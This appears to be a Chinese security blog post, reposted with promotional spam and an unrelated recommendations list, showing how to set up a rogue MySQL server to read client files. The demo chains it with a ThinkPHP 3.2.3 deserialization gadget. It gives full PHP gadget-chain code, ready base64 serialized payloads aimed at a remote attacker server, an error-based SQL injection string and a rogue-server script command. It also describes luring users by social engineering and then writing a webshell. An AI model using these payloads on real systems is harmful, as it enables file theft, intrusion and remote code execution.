「网络安全」如何搭建MySQL恶意服务器读取文件?

2023-10-26

前言

注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。

搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。

原理

在阐述具体原理之前,先介绍几个SQL语句,以便后文理解

首先在tmp目录下新建一个tmp.txt

内容如下:

img

然后执行下方SQL语句,即可将tmp.txt文件导入其中:

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from Test;
+-------+
| name  |
+-------+
| admin |
| user  |
| Lxxx  |
+-------+
3 rows in set (0.00 sec)
  • load data local infile语句会读取客户端本地的文件
  • load data infile语句会读取服务端本地的文件
  • terminated by表示以某某字符分割,默认为Tab,这里我设置为了\n

这个时候可能就会绕不清楚,什么是服务端,什么是客户端?

因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。

img

在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。

【→所有资源关注我,私信回复“资料”获取←】 1、网络安全学习路线 2、电子书籍(白帽子) 3、安全大厂内部视频 4、100份src文档 5、常见安全面试题 6、ctf大赛经典题目解析 7、全套工具包 8、应急响应笔记

下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程。

正常的后端业务流程如下:

img

当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:

img

添加图片注释,不超过 140 字(可选)

这样攻击者就可以在后端达到任意文件下载的目的。

演示

虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。

首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在 Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口。

<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}

具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。

  1. 首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口;
  2. 这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell。

这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19

传给url

img

可以看到报错注入成功。

然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件。

下载好POC之后,修改一下要读取的文件名。

img

然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口。

python rogue_mysql_server.py

接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==

传给HomeController控制器,

然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件。

img

现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了。

使用场景

  • 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell);
  • 能引诱用户连接恶意MySQL(社会工程学)。

读者福利:知道你对网络安全感兴趣,便准备了这套网络安全的学习资料

对于0基础小白入门:

如果你是零基础小白,想快速入门网络安全是可以考虑的。
一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案

包括: 网络渗透、逆向分析、漏洞攻击、内核安全、移动安全、破解PWN等众多子方向。 带你从零基础系统性的学好网络安全!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

「网络安全」如何搭建MySQL恶意服务器读取文件? 的相关文章

随机推荐

  • 未来会怎样?

    伴随Visual Studio 2008 的发布 NET 3 5也一起来了 J2EE风采依旧 Python风头正劲 未来会怎样 我们究竟要学多少新的东西才能不被日新月异的技术浪头打沉在海底 或许本不应该为了技术而技术 QQ不也很成功么 易趣
  • Docker镜像推送(push)到Docker Hub

    Docker镜像推送 push 到Docker Hub 1 Docker hub 注册账户 2 登录注册账户 随后输入账户名 密码 docker login 3 修改镜像名称 docker tag originName username o
  • n边形划分

    题目描述 已知存在n多边形 n为奇数 连接多边形所有对角线 能形成多少区域 输入描述 给定整数n 1 lt n lt 1e9 输出描述 输出区域数 对1e9 7取模 示例 输入5 输出11 include
  • 2018.09.18 atcoder Best Representation(kmp)

    传送门 思路简单不知为何调试了很久 显然要么分成n个 所有字符相同 要么分成1个 原字符串无循环节 要么分成两个 有长度至少为2的循环节 一开始以为可以直接hash搞定 后来wa了几次之后发现可以轻松举出反例于是弃了hash kmp大法好啊
  • 毕业设计 - 基于单片机的MP3设计与实现

    文章目录 1 简介 2 主要器件 3 实现效果 4 设计原理 核心算法 音频解码流程 5 部分实现代码 6 最后 1 简介 Hi 大家好 今天向大家介绍一个学长做的单片机项目 基于单片机的MP3设计与实现 大家可用于 课程设计 或 毕业设计
  • 软件工程技术--第四章 概要设计

    第四章 概要设计 4 1 软件设计概述 4 1 1 软件设计的概念与重要性 软件设计是软件工程的重要阶段 是一个将软件需求转换为软件表示的过程 软件设计的基本目标是用比较抽象概括的方式确定目标系统如何完成预定的任务 即确定系统的物理模型 解
  • EXCEL 数字统一转换成文本

    将excel中的数字统一转换成文本形式 即添加 1 点击数据 分列 2 分隔符号 下一步 3 选择文本识别符号 如 分号 4 选中文本 完成 转载于 https www cnblogs com vicdream p 4604012 html
  • 合宙 ESP32C3 使用micropython 驱动配套0.96寸 TFT ST7735 屏幕显示色块和文字

    合宙的esp32c3 开发板配套了0 96寸屏幕驱动板 可直接使用如下链接的代码 注意替换对应的pin脚和st7735 py文件 1 想显示色块参考如下链接 链接 合宙esp32c3 合宙air101LCD屏幕跑通microPython 2
  • hbase面试题(6)

    1 HBase来源于哪篇博文 C BigTable 2 下面对HBase的描述哪些是正确的 B C D B 是面向列的 C 是分布式的 D 是一种NoSQL数据库 3 HBase依靠 存储底层数据 A A HDFS B Hadoop C M
  • SAR目标检测数据集汇总

    SAR目标检测数据集汇总 文章目录 SAR目标检测数据集汇总 1 MSTAR 1996 2 OpenSARShip2 0 2017 3 SSDD SSDD 2020 4 AIR SARShip2 0 2019 5 SAR Ship Data
  • VScode调试php文件(详细且简单易操作)

    之前也不懂 看了网上好多帖子 按照它们步骤操作一遍之后 还是不行 头都大了 现在懂了 原来几步就搞定了 被它们搞得这么复杂 又是配置这个文件 又是配置那个文件 1 下载XAMPP Download XAMPP apachefriends o
  • Java程序员面试常问试题大全

    Java程序员面试常问试题大全 1 面向对象的特征有哪些方面 1 抽象 抽象就是忽略一个主题中与当前目标无关的那些方面 以便更充分地注意与当前目标有关的方面 抽象并不打算了解全部问题 而只是选择其中的一部分 暂时不用部分细节 抽象包括两个方
  • 详解 cryptogen 的内容和配置

    目录 1 cryptogen 模块命令说明 2 cryptogen 模块的配置文件 3 cryptogen 实例 创建测试配置文件 4 Fabric 证书文件的结构 cryptogen 模块主要用来生成组织结构和账号相关的文件 任何 Fab
  • 【react】实现数据双向绑定之不用柯里化的方式

    直接给onChange事件绑定一个箭头函数 这个箭头函数的参数就是event 在箭头函数内再调用saveFormData方法 saveFormData方法里面this setState dataType value
  • 学Python该看什么书?12本精华好书推荐!

    为了让更多想通过看书来学习Python的人能够把时间花在刀刃上 小编总结了Python目前所有热门方向上我个人觉得性价比很高 值得一看的书籍 今天小编来分享给大家 一 Python新手入门 新手学Python的话我推荐这本 Python编程
  • java:面向对象(多态中成员的特点)。

    这次我们说说多态中成员的特点 我们写这样一个代码 class Fu void method1 System out println fu method1 void method2 System out println fu method 2
  • 秒解小米bl锁 无需等待时间_小米全新系统曝光:小米9推送Android Q体验版

    点击上方蓝字订阅每日最新国产手机资讯 对于米粉来说 MIUI系统是他们坚持使用小米手机的重要原因 就在今天上午 MIUI官方微博发布消息 小米9的MIUI Android Q Beta优先体验版现已推送 已获得测试资格的朋友可以升级体验 据
  • 大厂笔试真题

    1 复数相乘 2 K个一组翻转链表 include
  • 浅谈 Python中if __name__ == ‘__main__‘:的工作原理

    为了理解if name main 的工作原理 我们需要先了解Python中的特殊变量 name 每个Python模块都有一个内置的变量 name 这个变量的值取决于如何执行模块 如果模块是被直接运行的 例如 你使用命令python mysc
  • 「网络安全」如何搭建MySQL恶意服务器读取文件?

    前言 注 本文不涉及对MySQL协议报文研究 仅讲解原理 并且做部分演示 搭建MySQL恶意服务器读取文件这件事 虽然直接利用门槛较高 但是由于在网上看到了一种比较新颖的利用方式 利用社会工程学引诱用户连接MySQL进而读取用户文件 个人觉